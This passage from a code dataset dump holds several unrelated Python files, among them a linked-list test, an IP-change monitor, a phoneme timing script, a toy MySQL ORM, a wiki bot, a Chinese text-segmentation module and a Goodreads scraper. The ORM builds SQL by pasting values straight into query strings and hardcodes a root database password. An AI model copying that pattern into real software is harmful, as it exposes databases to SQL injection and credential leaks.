3, 2, 1]\n print(actual == expected)\n\ndef test_one_element_linked_list():\n first = LinkedListNode(1)\n\n result = reverse(first)\n print(result is not None)\n\n actual = result.get_values()\n expected = [1]\n print(actual == expected)\n\ndef test_empty_linked_list():\n result = reverse(None)\n print(result is None)\n\ntest_short_linked_list()\ntest_long_linked_list()\ntest_one_element_linked_list()\ntest_empty_linked_list()","sub_path":"Week-2/Day-2/reverse_a_linked_list.py","file_name":"reverse_a_linked_list.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"406203902","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\nimport re\r\nimport sys\r\nimport time\r\nimport json\r\nimport mail\r\nimport random\r\nimport signal\r\nimport requests\r\nfrom util import timeStr\r\nfrom threading import Thread\r\n\r\n\r\nurls = [\"https://api.ipify.org/?format=json&r=%d\", \"http://httpbin.org/ip?r=%d\", \"http://jsonip.com?r=%d\", \"http://ip.42.pl/raw?r=%d\"]\r\nheaders = {\r\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',\r\n # 'referer': 'http://www.aninigps.com/GIS/MapForm.aspx?h=null&',\r\n 'content-type': 'text/html; charset=UTF-8',\r\n 'accept': '*/*',\r\n 'accept-encoding': 'gzip, deflate',\r\n 'accept-language': 'zh-CN,zh;q=0.9'\r\n}\r\nleave = False\r\n\r\n\r\ndef get():\r\n ret = None\r\n try:\r\n url = urls[random.choice([0, 1, 2, 3])]\r\n # print(\"url=%s\\n\" % url)\r\n req = requests.get(url % (int(time.time() * 1000)), headers=headers)\r\n req.encoding = 'utf-8'\r\n if req.status_code == requests.codes.ok:\r\n # print(req.text, \"\\n\\n\")\r\n try:\r\n ret = json.loads(req.text)\r\n except ValueError:\r\n ret = req.text\r\n else:\r\n print(\"[%s] \" % timeStr(), \"%s request fail.\" % url)\r\n except Exception as ex:\r\n print(\"[%s] \" % timeStr(), \"error: \", ex)\r\n return ret\r\n\r\n\r\ndef parseIp(ipStr):\r\n ret = \"\"\r\n pattern = re.compile(r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}')\r\n match = pattern.match(ipStr)\r\n if match:\r\n ret = match.group(0)\r\n return ret\r\n\r\n\r\ndef run_forever():\r\n lastIp = \"\"\r\n lastHour = 0\r\n while not leave:\r\n ret = get()\r\n localtime = time.localtime()\r\n if localtime[3] in (8, 16) and lastHour != localtime[3]:\r\n lastHour = localtime[3]\r\n lastIp = \"1\"\r\n if ret:\r\n ip = lastIp\r\n if \"ip\" in ret:\r\n ip = parseIp(ret[\"ip\"])\r\n # print(\"1 ip=%s\\n\" % ip)\r\n elif \"origin\" in ret:\r\n ip = parseIp(ret[\"origin\"])\r\n # print(\"2 ip=%s\\n\" % ip)\r\n else:\r\n ip = parseIp(ret)\r\n # print(\"3 ip=%s\\n\" % ip)\r\n if ip and lastIp and lastIp != ip:\r\n lastIp = ip\r\n print(\"[%s] \" % timeStr(), \"外网ip[%s]\" % ip)\r\n mail.add(\"外网ip[%s]\" % ip)\r\n mail.commit(True)\r\n # print(\"lastIp=%s\\n\\n\" % lastIp)\r\n time.sleep(300)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n def quit(sig, chunk):\r\n global leave\r\n leave = True\r\n print(\"[%s] \" % timeStr(), \"Stopping DDNS service by ctrl + c.\")\r\n time.sleep(2)\r\n sys.exit()\r\n\r\n signal.signal(signal.SIGINT, quit)\r\n signal.signal(signal.SIGTERM, quit)\r\n try:\r\n print(\"[%s] \" % timeStr(), \"DDNS service runing...\")\r\n thread = Thread(target=run_forever)\r\n thread.setDaemon(True)\r\n thread.start()\r\n while not leave:\r\n time.sleep(3)\r\n pass\r\n except Exception as ex:\r\n print(ex)\r\n finally:\r\n print(\"[%s] \" % timeStr(), \"DDNS service stopped.\")\r\n","sub_path":"ddns.py","file_name":"ddns.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"227240347","text":"import os\nimport textgrid\nimport json\n# import pandas as pd\n# from sklearn import preprocessing\n\ncwd = os.getcwd()\nphonemes = {}\n# iterate over the files in the \"output\" directory\nfor filename in os.listdir(os.path.join(cwd, 'output')):\n if not filename.endswith('.TextGrid'):\n continue\n tg = textgrid.TextGrid.fromFile(os.path.join(cwd, 'output', filename))\n # phonemes\n for t in tg[1]:\n if t.mark not in phonemes:\n phonemes[t.mark] = []\n # start, end, duration\n phonemes[t.mark].append([t.minTime, t.maxTime, t.maxTime - t.minTime])\nprint(phonemes)\n# max duration for each phoneme\n# (the longest time it took for a given phoneme across all speakers)\nphonemes_max_duration = {}\nfor phoneme, data in phonemes.items():\n phonemes_max_duration[phoneme] = max(data, key=lambda times: times[2])[2]\n\n# print(phonemes_max_duration)\n# save the results\nwith open('alignments.json', 'w', newline='') as file:\n json.dump(phonemes, file)\nwith open('phonemes_max_duration.json', 'w', newline='') as file:\n json.dump(phonemes_max_duration, file)","sub_path":"build_alignment_table.py","file_name":"build_alignment_table.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"360285802","text":"import MySQLdb\nimport MySQLdb.cursors\n\n\ndef get_connection():\n connection = MySQLdb.connect(user='root',\n passwd='tunnel',\n db='person',\n cursorclass=MySQLdb.cursors.DictCursor)\n return connection\n\n\nclass AbstractModel:\n def save(self):\n insert(self)\n\n\nclass Field:\n def __init__(self, length):\n self.length = length\n\n\nclass Integer(Field):\n def __init__(self, length):\n super().__init__(length)\n\n\nclass Float(Field):\n def __init__(self, length):\n super().__init__(length)\n\n\nclass Text(Field):\n def __init__(self, length):\n super().__init__(length)\n\n\nclass Boolean(Field):\n def __init__(self, length):\n super().__init__(length)\n\n\nclass Persone(AbstractModel):\n name = Text(100)\n age = Integer(3)\n\n\ndef migrate(some_class):\n connection = get_connection()\n cursor = connection.cursor()\n name_class = some_class.__class__.__name__.lower()\n query = \"CREATE TABLE IF NOT EXISTS {0}\".format(name_class)\n fields = \"\"\n for field in some_class.__dir__():\n name_field = getattr(some_class, field)\n if isinstance(name_field, Field):\n type_data = name_field.__class__.__name__.upper()\n length_field = getattr(name_field, 'length')\n fields += \" \" + field + \" \" + type_data + \"(\" + str(length_field) + \")\" + \",\"\n final_query = query + \"(\" \" id INT AUTO_INCREMENT PRIMARY KEY,\" + fields[:-1] + \")\"\n cursor.execute(final_query)\n\n\ndef insert(some_obj):\n connection = get_connection()\n cursor = connection.cursor()\n name_obj = some_obj.__class__.__name__.lower()\n query = \"INSERT INTO {0} \".format(name_obj)\n values = \"\"\n fields = \"\"\n for field in some_obj.__dir__():\n name_field = getattr(some_obj.__class__, field)\n if isinstance(name_field, Field):\n fields += \" \" + field + \",\"\n values += \" '\" + str(getattr(some_obj, field)) + \"',\"\n final_query = query + \"(\" + fields[1:-1] + \")\" + \" VALUES \" + \"(\" + values[1:-1] + \")\"\n cursor.execute(final_query)\n connection.commit()\n\n\ndef select(some_model, **kwargs):\n connection = get_connection()\n cursor = connection.cursor()\n name_model = some_model.__name__.lower() + \" \"\n where = \"\"\n op = {\n '__gt': ' > ',\n '__gte': ' >= ',\n '__lt': ' < ',\n '__lte': ' <= '\n }\n if kwargs:\n for key, value in kwargs.items():\n if \"__\"in key:\n operator = op[key[key.find(\"_\"):]]\n key = key[:key.find(\"_\")]\n else:\n operator = \" = \"\n where += key + \"{}\" \"'{}'\".format(operator, value) + \" AND \"\n where = where[:len(where) - 4]\n final_query = \"SELECT \" + \"*\" + \" FROM \" + name_model + \"WHERE \" + where\n else:\n final_query = \"SELECT * FROM {0}\".format(name_model)\n cursor.execute(final_query)\n return cursor.fetchall()\n\n\nmigrate(Persone())\nOne = Persone()\nOne.name = 'Vitazero'\nOne.age = 30\nTwo = Persone()\nTwo.name = 'Cramly'\nTwo.age = 43\nOne.save()\nTwo.save()\nprint(select(Persone, name='Vitazero', age__lte=35))\n","sub_path":"DataBase/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"572517568","text":"try:\n import wikipedia\nexcept:\n from wikipedia import wikipedia\n from wikipedia import exceptions\n\nimport re\n\n\n\n\n\ndef wikiSearch(searchItem):\n try:\n searchList = wikipedia.search(searchItem)\n for item in searchList: \n try:\n content_page = wikipedia.page(item)\n content_Url = content_page.url\n content_title = content_page.title\n #print(\"Okk u have searched for:\",content_title)\n #print(\"The url of the page:\",content_Url)\n return content_Url\n except wikipedia.exceptions.DisambiguationError as e:\n except_return=\"can't find your searchItem in wiki ......use specific term dude....it is not a Ai still ...now :-p\"\n return except_return\n except Exception as e:\n return (\"can't find your item man\")\n\n\n\n\ndef on_message(msg, server):\n text = msg.get(\"text\", \"\")\n match = re.findall(r\"~wiki (.*)\", text)\n if not match:\n return\n\n searchterm = str(match[0])\n return wikiSearch(searchterm.encode(\"utf8\"))\n\non_bot_message = on_message\n\n","sub_path":"fabulous/services/wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"482832604","text":"from turtle import *\nfrom random import *\n\n\nr=200\n\nwindow = Screen()\nshape(\"turtle\")\nbgcolor(\"#000000\")\npencolor(\"red\")\nspeed(0)\npensize(2)\n\nfor i in range(360):\n #color(\"#00ff00\") # RGB (red green blue) (00..ff 00..ff 00..ff)\n\n #random color\n color(random(),random(),random())\n\n circle(r)\n left(1)\n\nexitonclick()\n","sub_path":"turtles/turtle4.py","file_name":"turtle4.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"236041352","text":"# -*- coding:utf-8 -*-\nfrom __future__ import print_function\n\nimport re\nimport sys\nfrom segment import Pair\nfrom segment.emoji import segment_emoji\nfrom segment.emoji import segment_emoji_pos\n\n__version__ = '3.0.0'\n__all__ = [\n 'spacing',\n 'spacing_pos',\n 'left_bracket',\n 'right_bracket',\n 'u',\n 'pangu_cut',\n 'pangu_pos_cut',\n]\n\nPY2 = (sys.version_info[0] == 2)\n\n# borrow from six\nif PY2:\n def u(s):\n return unicode(s.replace(r'\\\\', r'\\\\\\\\'), 'unicode_escape')\nelse:\n def u(s):\n return s\n\nchs_unicode = \"\\u2e80-\\u2eff\\u2f00-\\u2fdf\\u3040-\\u309f\\u30a0-\\u30ff\\u3100-\\u312f\\u3200-\\u32ff\\u3400-\\u4dbf\\u4e00-\\u9fff\\uf900-\\ufaff\"\n\n# 引号相关\n# 1-->CJK, 2-->英文单引号和双引号\nCJK_QUOTE_RE = re.compile(u(r'([{content}])([\"\\'])'.format(content=chs_unicode)))\nQUOTE_CJK_RE = re.compile(u(r'([\"\\'])([\\u3040-\\u312f\\u3200-\\u32ff\\u3400-\\u4dbf\\u4e00-\\u9fff\\uf900-\\ufaff])'))\n\n# 1-->英文单引号、双引号、园方尖括号/中文双引号, 2-->有无空格, 3-->其他内容, 4-->有无空格, 5-->与1对应相反的\nFIX_QUOTE_RE = re.compile(u(r'([\"\\'\\u201c]+)(\\s*)(.+?)(\\s*)([\"\\'\\u201d]+)'))\n# 1-->CJK, 2-->空格, 3-->英文单引号, 4-->英文字母\nFIX_SINGLE_QUOTE_RE = re.compile(u(r'([{content}])( )(\\')([A-Za-z])'.format(content=chs_unicode)))\n\n# #...#\nCJK_HASH_RE = re.compile(u(r'([#\\(\\[{content}])(#(\\S+))'.format(content=chs_unicode)))\nHASH_CJK_RE = re.compile(u(r'((\\S+)#)([#\\(\\[<{content}])'.format(content=chs_unicode)))\nFIX_HASH_RE = re.compile(u(r'(#(\\S+)#)'))\n\n# 运算符表达式\n# CJK_OPERATOR_ANS_RE = re.compile(u(r'([{content}])([\\+\\-\\*\\/=&\\\\|<>])([A-Za-z0-9])'.format(content=chs_unicode)))\nCJK_OPERATOR_ANS_RE = re.compile(u(r'([^A-Za-z0-9\\+\\-\\*\\/=&\\\\|<>])([A-Za-z0-9]+)([\\+\\-\\*\\/=&\\\\|<>])([A-Za-z0-9])'))\nANS_OPERATOR_CJK_RE = re.compile(u(r'([A-Za-z0-9])([\\+\\-\\*\\/=&\\\\|<>])([A-Za-z0-9]+)([^A-Za-z0-9\\+\\-\\*\\/=&\\\\|<>])'))\nFIX_ANS_OPERATOR_RE = re.compile(u(r'^([A-Za-z0-9\\+\\-\\*\\/=&\\\\|<>]+)$'))\n\n# 几种括号\n## \\(\\{<“《「『【「[(\nleft_bracket = \"\\(\\{<\\u201c\\u300a\\u300c\\u300e\\u3010\\u300c\\uff3b\\uff08\"\n## \\)\\}>”》」』】」])\nright_bracket = \"\\)\\}>\\u201d\\u300b\\u300d\\u300f\\u3011\\u300d\\uff3d\\uff09\"\n\nCJK_BRACKET_CJK_RE = re.compile(u(\n r'([{content}])([{left_bracket}]+(.*?)[{right_bracket}]+)([{content}])'.format(\n content=chs_unicode,\n left_bracket=left_bracket,\n right_bracket=right_bracket\n )\n))\nCJK_BRACKET_RE = re.compile(u(\n r'([{content}])([{left_bracket}])'.format(\n content=chs_unicode,\n left_bracket=left_bracket\n )\n))\nBRACKET_CJK_RE = re.compile(u(\n r'([{right_bracket}])([{content}])'.format(\n content=chs_unicode,\n right_bracket=right_bracket\n )\n))\nFIX_BRACKET_RE = re.compile(u(\n r'^([{left_bracket}]+)(\\s*)(.+?)(\\s*)([{right_bracket}]+)$'.format(\n left_bracket=left_bracket,\n right_bracket=right_bracket\n )\n))\n\nCJK_TOPIC_CJK_RE = re.compile(u(r'([\\Sa-zA-Z0-9{content}])([\\[]+(.*?)[\\]]+)([{content}])'.format(content=chs_unicode)))\nCJK_TOPIC_CJK_RE_1 = re.compile(u(r'^([\\[]+(.*?)[\\]]+)([{content}])'.format(content=chs_unicode)))\nCJK_TOPIC_RE = re.compile(u(r'([\\Sa-zA-Z0-9{content}\\]])([\\u300c\\[])'.format(content=chs_unicode)))\nTOPIC_CJK_RE = re.compile(u(r'([\\]])([\\[\\Sa-zA-Z0-9{content}])'.format(content=chs_unicode)))\nFIX_TOPIC_RE = re.compile(u(r'^([\\[]+)(\\s*)([^\\[\\]]+?)(\\s*)([\\]]+)$'))\n\n# for 《》 only\nCJK_BOOK_BRACKET_CJK_RE = re.compile(u(r'([\\S{content}])(\\u300a(.*?)\\u300b)([{content}])'.format(content=chs_unicode)))\nCJK_BOOK_BRACKET_RE = re.compile(u(r'([\\S{content}\\u300b])(\\u300a)'.format(content=chs_unicode)))\nBOOK_BRACKET_CJK_RE = re.compile(u(r'(\\u300b)([\\S\\u300a{content}])'.format(content=chs_unicode)))\nFIX_BOOK_BRACKET_RE = re.compile(u(r'^(\\u300a)(\\s*)(.+?)(\\s*)(\\u300b)$'))\n\n# 其他符号\nFIX_SYMBOL_RE = re.compile(u(r'([{content}])([~!;:,\\.\\?\\u2026])([A-Za-z0-9])'.format(content=chs_unicode)))\n\n# 标准符号\nCJK_ANS_RE = re.compile(u(r'([{content}])([A-Za-z0-9`\\$%\\^&\\*\\-=\\+\\\\\\|/@\\u00a1-\\u00ff\\u2022\\u2027\\u2150-\\u218f])'.format(content=chs_unicode)))\nANS_CJK_RE = re.compile(u(r'([A-Za-z0-9`~\\$%\\^&\\*\\-=\\+\\\\\\|/!;:,\\.\\?\\u00a1-\\u00ff\\u2022\\u2026\\u2027\\u2150-\\u218f])([{content}])'.format(content=chs_unicode)))\n\n# 中文标点?!,。\nCJK_SYMBOL_RE = re.compile(u(r'([A-Za-z0-9`~\\$%\\^&\\*\\-=\\+\\\\\\|/!;:,\\.\\?\\u00a1-\\u00ff\\u2022\\u2026\\u2027\\u2150-\\u218f])([\\uff1f\\uff01\\uff0c\\u3002])'))\nENG_SYMBOL_ANY_RE = re.compile(u(r'([A-Za-z0-9`~\\$%\\^&\\*\\-=\\+\\\\\\|/\\u00a1-\\u00ff\\u2022\\u2026\\u2027\\u2150-\\u218f])([\\s]?)([!;:,\\.\\?])([A-Za-z0-9])'))\nENG_SYMBOL_RE = re.compile(u(r'([A-Za-z0-9`~\\$%\\^&\\*\\-=\\+\\\\\\|/\\u00a1-\\u00ff\\u2022\\u2026\\u2027\\u2150-\\u218f])([!;:,\\.\\?])'))\nFIX_ENG_RE = re.compile(u(r'^([A-Za-z]+)([\\'~\\$\\-\\+\\/\\.]+)?([A-Za-z]+)$'))\nFIX_ENG_SYMBOL_RE = re.compile(u(r'^([!;:,\\.\\?])$'))\nONE_SPACE_SYMBOL_RE = re.compile(u(r'^((\\s))$'))\n\n# re\nANS_RE = re.compile(u(r'([A-Za-z0-9`~\\$%\\^&\\*\\-=\\+\\\\\\|/!;:,\\.\\?\\u00a1-\\u00ff\\u2022\\u2026\\u2027\\u2150-\\u218f])'))\nCJK_RE = re.compile(u(r'([^\\s{content}])'))\nENG_NUM_RE = re.compile(u(r'^([A-Za-z]+[0-9]+$)'))\n\nNUM_RE_LEFT = re.compile(u(r'([^\\.0-9\\u4e00\\u4e8c\\u4e09\\u56db\\u4e94\\u516d\\u4e03\\u516b\\u4e5d\\u5341\\u3007\\u7b2c])([\\u7b2c]?[\\.0-9\\u4e00\\u4e8c\\u4e09\\u56db\\u4e94\\u516d\\u4e03\\u516b\\u4e5d\\u5341\\u3007]+[\\u767e\\u5343\\u4e07\\u4ebf])'))\nNUM_RE_RIGHT = re.compile(u(r'([\\u7b2c]?[\\.0-9\\u4e00\\u4e8c\\u4e09\\u56db\\u4e94\\u516d\\u4e03\\u516b\\u4e5d\\u5341\\u3007]+[\\u767e\\u5343\\u4e07\\u4ebf])([^\\.0-9\\u4e00\\u4e8c\\u4e09\\u56db\\u4e94\\u516d\\u4e03\\u516b\\u4e5d\\u5341\\u3007\\u7b2c])'))\nNUM_RE = re.compile(u(r'^([0-9]+)$'))\nTWO_SPACE_RE = re.compile(u(r'(\\s\\s)'))\n\n# 时间单位(年月日时分秒点, 一二三四五六七八九十〇)\nnumber_str = r'\\.0-9\\u4e00\\u4e8c\\u4e09\\u56db\\u4e94\\u516d\\u4e03\\u516b\\u4e5d\\u5341\\u3007'\ntime_unit = r'\\u53f7\\u5c0f\\u5468\\u5e74\\u6708\\u65e5\\u65f6\\u5206\\u79d2\\u70b9\\u949f:'\nTIME_RE_LEFT = re.compile(u(r'([^' + number_str + time_unit + r'])([' + number_str + r']+[\\u767e\\u5343\\u4e07\\u4ebf]?[' + time_unit + r']+)'))\nTIME_RE_RIGHT = re.compile(u(r'([' + number_str + r']+[\\u767e\\u5343\\u4e07\\u4ebf]?[' + time_unit + r']+)([^' + number_str + time_unit + r'])'))\nTIME_RE = re.compile(u(r'^[' + number_str + r']+(.*)[\\u767e\\u5343\\u4e07\\u4ebf]?[' + time_unit + r']+$'))\n\n# 数量单位(个头块件打双袋瓶箱桶碗床本台辆只冠)\nquantity_str = r'\\u76d2\\u5143\\u89d2\\u5206\\u677f\\u8bb0\\u573a\\u6b21\\u4f4d\\u4e2a\\u5934\\u5757\\u4ef6\\u6253\\u53cc\\u888b\\u74f6\\u7bb1\\u6876\\u7897\\u5e8a\\u672c\\u53f0\\u8f86\\u53ea\\u51a0'\nQUANTITY_RE_LEFT = re.compile(u(r'([^' + number_str + quantity_str + time_unit + r'\\u7b2c])([\\u7b2c]?[' + number_str + r']+[\\u767e\\u5343\\u4e07\\u4ebf]?[' + quantity_str + r'])'))\nQUANTITY_RE_RIGHT = re.compile(u(r'([\\u7b2c]?[' + number_str + r']+[\\u767e\\u5343\\u4e07\\u4ebf]?[' + quantity_str + r'])([^' + quantity_str + time_unit + r'\\u7b2c])'))\nQUANTITY_RE = re.compile(u(r'^[\\u7b2c]?[' + number_str + r']+[\\u767e\\u5343\\u4e07\\u4ebf]?[' + quantity_str + r']?$'))\n\n\ndef add_space_ANS(sentence):\n # sentence = ANS_RE.sub(r'\\1 ', sentence)\n # sentence = CJK_RE.sub(r'\\1 ', sentence)\n sentence = ENG_NUM_RE.sub(r' \\1 ', sentence)\n sentence = TWO_SPACE_RE.sub(r' ', sentence)\n return sentence.strip(' ')\n\n\ndef spacing(text, sub_cut_set):\n \"\"\"\n Perform paranoid text spacing on text. Always return unicode.\n \"\"\"\n need_quote = u\"quote\" in sub_cut_set\n only_book_bracket = u\"book\" in sub_cut_set\n need_bracket = u\"bracket\" in sub_cut_set # 这里面包括了书名号\n need_hash = u\"hashTag\" in sub_cut_set\n need_operation = u\"operation\" in sub_cut_set\n need_topic = u\"topic\" in sub_cut_set\n need_time = u\"time\" in sub_cut_set\n need_quantity = u\"quantity\" in sub_cut_set\n\n new_text = text\n\n # always use unicode\n if PY2 and isinstance(new_text, str):\n new_text = new_text.decode('utf-8')\n\n if len(new_text) < 2:\n return new_text\n\n # 引号中间分离\n if need_quote:\n new_text = CJK_QUOTE_RE.sub(r'\\1 \\2', new_text) # 分离英文引号中间的内容\n new_text = QUOTE_CJK_RE.sub(r'\\1 \\2', new_text)\n new_text = FIX_QUOTE_RE.sub(r'\\1\\3\\5', new_text) # 去掉英文单引号、双引号、园方尖括号/中文双引号 和中间文字中的空格\n new_text = FIX_SINGLE_QUOTE_RE.sub(r'\\1\\3\\4', new_text) # 去掉引号之间的空格\n\n # 去掉 #\n if need_hash:\n new_text = HASH_CJK_RE.sub(r'\\1 \\3', new_text)\n new_text = CJK_HASH_RE.sub(r'\\1 \\2', new_text)\n\n # 括号内容两端加上空格,分离出括号\n if need_bracket:\n old_text = new_text\n tmp_text = CJK_BRACKET_CJK_RE.sub(r'\\1 \\2 \\4', new_text)\n new_text = tmp_text\n if old_text == tmp_text:\n new_text = CJK_BRACKET_RE.sub(r'\\1 \\2', new_text)\n new_text = BRACKET_CJK_RE.sub(r'\\1 \\2', new_text)\n new_text = FIX_BRACKET_RE.sub(r'\\1\\3\\5', new_text)\n\n if need_topic:\n old_text = new_text\n tmp_text = CJK_TOPIC_CJK_RE.sub(r'\\1 \\2 \\4', new_text)\n tmp_text = CJK_TOPIC_CJK_RE_1.sub(r'\\1 \\3', tmp_text)\n new_text = tmp_text\n if old_text == tmp_text:\n new_text = CJK_TOPIC_RE.sub(r'\\1 \\2', new_text)\n new_text = TOPIC_CJK_RE.sub(r'\\1 \\2', new_text)\n new_text = FIX_TOPIC_RE.sub(r'\\1\\3\\5', new_text)\n\n # 括号内容两端加上空格,分离出括号\n if only_book_bracket:\n old_text = new_text\n tmp_text = CJK_BOOK_BRACKET_CJK_RE.sub(r'\\1 \\2 \\4', new_text)\n new_text = tmp_text\n if old_text == tmp_text:\n new_text = CJK_BOOK_BRACKET_RE.sub(r'\\1 \\2', new_text)\n new_text = BOOK_BRACKET_CJK_RE.sub(r'\\1 \\2', new_text)\n new_text = FIX_BOOK_BRACKET_RE.sub(r'\\1\\3\\5', new_text)\n\n cut_list = new_text.split(u\" \")\n for i, s in enumerate(cut_list):\n # 这里需要优化效率\n if need_hash and FIX_HASH_RE.search(s):\n continue\n if only_book_bracket and FIX_BOOK_BRACKET_RE.search(s):\n continue\n if need_topic and FIX_TOPIC_RE.search(s):\n continue\n if need_bracket and FIX_BRACKET_RE.search(s):\n continue\n\n # 识别表示时间或日期的内容\n if need_quantity:\n s = QUANTITY_RE_LEFT.sub(r'\\1 \\2', s)\n s = QUANTITY_RE_RIGHT.sub(r'\\1 \\2', s)\n s = NUM_RE_LEFT.sub(r'\\1 \\2', s)\n s = NUM_RE_RIGHT.sub(r'\\1 \\2', s)\n\n # 识别表示时间或日期的内容\n if need_time:\n s = TIME_RE_LEFT.sub(r'\\1 \\2', s)\n s = TIME_RE_RIGHT.sub(r'\\1 \\2', s)\n\n # 在操作符前后家空格\n if need_operation:\n s = CJK_OPERATOR_ANS_RE.sub(r'\\1 \\2\\3\\4', s)\n s = ANS_OPERATOR_CJK_RE.sub(r'\\1\\2\\3 \\4', s)\n\n # 标准符号分离\n s = FIX_SYMBOL_RE.sub(r'\\1\\2 \\3', s)\n\n # 中文标点分离\n s = CJK_SYMBOL_RE.sub(r'\\1 \\2', s)\n s = ENG_SYMBOL_RE.sub(r'\\1 \\2', s)\n s = ENG_SYMBOL_ANY_RE.sub(r'\\1\\3\\4', s)\n cut_list[i] = s\n new_text = u\" \".join(cut_list)\n\n return new_text\n\n\ndef space_eng(new_text):\n # 中英文分离\n new_text = CJK_ANS_RE.sub(r'\\1 \\2', new_text)\n new_text = ANS_CJK_RE.sub(r'\\1 \\2', new_text)\n return new_text\n\n\ndef spacing_pos(text):\n \"\"\"\n Perform paranoid text spacing on text. Always return unicode.\n \"\"\"\n new_text = text\n\n # always use unicode\n if PY2 and isinstance(new_text, str):\n new_text = new_text.decode('utf-8')\n\n ########\n if FIX_QUOTE_RE.search(new_text) or FIX_SINGLE_QUOTE_RE.search(new_text):\n return new_text, u\"quote\"\n\n if FIX_HASH_RE.search(new_text):\n return new_text, u\"hashTag\"\n\n if FIX_ANS_OPERATOR_RE.search(new_text):\n return new_text, u\"operation\"\n\n if FIX_BOOK_BRACKET_RE.search(new_text):\n return new_text, u\"book\"\n\n if FIX_TOPIC_RE.search(new_text):\n return new_text, u\"topic\"\n\n if FIX_BRACKET_RE.search(new_text):\n return new_text, u\"bracket\"\n\n ########\n if TIME_RE.search(new_text):\n return new_text, u\"time\"\n\n if QUANTITY_RE.search(new_text):\n return new_text, u\"quantity\"\n\n if FIX_ENG_SYMBOL_RE.search(new_text) or ONE_SPACE_SYMBOL_RE.search(new_text):\n return new_text, u\"w\"\n\n new_text = space_eng(new_text)\n\n if FIX_ENG_RE.search(new_text):\n return new_text, u\"eng\"\n\n if ENG_NUM_RE.search(new_text):\n return new_text, u\"eng\"\n\n if NUM_RE.search(new_text):\n return new_text, u\"m\"\n\n return new_text, None\n\n\n##########################################################\n## Main Function\n##########################################################\ndef pangu_cut(sentence_split, sub_cut_set, cut_func=None, keep_emoji=True):\n \"\"\"\n cut sentence into list by jieba\n :param sentence_split: list(sent1, sent2, ...)\n :param sub_cut_set: the one cannot be cut.\n :param cut_func:\n :param keep_emoji: bool\n :return: list(word1, word2, ...)\n \"\"\"\n output = []\n for seq in sentence_split:\n seq = seq.strip()\n if len(seq) == 0:\n continue\n temp = spacing_pos(seq)\n if temp[1] in sub_cut_set:\n output.append(seq)\n elif keep_emoji:\n output += segment_emoji(seq, mode=1, cut_func=cut_func)\n else:\n output += cut_func(seq)\n return output\n\n\ndef pangu_pos_cut(sentence_split, sub_cut_set, pos_func, keep_emoji=True):\n \"\"\"\n cut sentence with pos by jieba\n :param sentence_split: list(sent1, sent2, ...)\n :param sub_cut_set: the one cannot be cut.\n :param pos_func:\n :param keep_emoji: bool\n :return: list(Pair(word, flag))\n \"\"\"\n output = []\n for seq in sentence_split:\n seq = seq.strip()\n if len(seq) == 0:\n continue\n temp = spacing_pos(seq)\n if temp[1] in sub_cut_set:\n output.append(Pair(temp[0], temp[1]))\n elif keep_emoji:\n output += segment_emoji_pos(seq, pos_func)\n else:\n output += pos_func(seq)\n return output\n\n\n\n\n","sub_path":"src/segment/pangu_update.py","file_name":"pangu_update.py","file_ext":"py","file_size_in_byte":14131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"373874441","text":"# GoodreadsScraper.py\n# reccomended run environment: python GoodreadsScraper.py > ___OUTFILE___.csv\n# Author: Julien Legault\n\nimport urllib.request\nfrom bs4 import BeautifulSoup\n\n#Change this to the link to the list of books\n#Note it ends with ?page=\n___LISTLINK___ = 'https://www.goodreads.com/list/show/74439.YA_Novels_of_2018?page='\n\n#Change this to the number of pages on the list\n___NUMBERPAGES___ = 11\n\n#Possible itemprops: ratingValue, bookFormat, numberOfPages, name (author's name)\n___ITEMPROP___ = \"numberOfPages\"\n\n# innerSoup(href)\n# href: A string contating the extention to the book page\n# href should be of the form '/book/show/___BOOK_TITLE___'\ndef innerSoup(href):\n\tcompleteHref = \"https://www.goodreads.com\" + href\n\tinnerPage = urllib.request.urlopen(completeHref)\n\tinsideSoup = BeautifulSoup(innerPage, \"html.parser\")\n\t#Haven't run across null books, but is possible\n\tif insideSoup is not None:\n\t\ttitle = insideSoup.find('h1', {\"id\": \"bookTitle\"})\n\t\titemToFind = insideSoup.find('span', {\"itemprop\": ___ITEMPROP___})\n\t\t#removes unwanted commas to produce a csv file. quotes are already handled.\n\t\ttitleText = title.text[7:-1].replace(',', '')\n\t\t#Many books do not have many of the itemprops, if not just the title is returned.\n\t\tif itemToFind is not None:\n\t\t\tresult = titleText + \", \" + itemToFind.text\n\t\telse:\n\t\t\tresult = titleText + \",\"\n\t\tprint(result)\n\n# outerSoup(href)\n# href a string contating the link to the list, ex. ___LISTLINK___\n# loops through each book on the page, calling innerSoup on each one\ndef outerSoup(href):\n\tpage = urllib.request.urlopen(href)\n\tsoup = BeautifulSoup(page, \"html.parser\")\n\tmyA = soup.findAll(\"a\", {\"class\": \"bookTitle\"})\n\tfor link in myA:\n\t\tinnerSoup(link['href'])\n\n#main loop, just goes through every page calling outerSoup on that page\nfor i in range(1, ___NUMBERPAGES___):\n\tpageConcat = ___LISTLINK___ + str(i)\n\touterSoup(pageConcat)\n","sub_path":"GoodreadsScraper.py","file_name":"GoodreadsScraper.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"598706639","text":"import darknet.darknet as dn\ndn.set_gpu(0)\nnet = 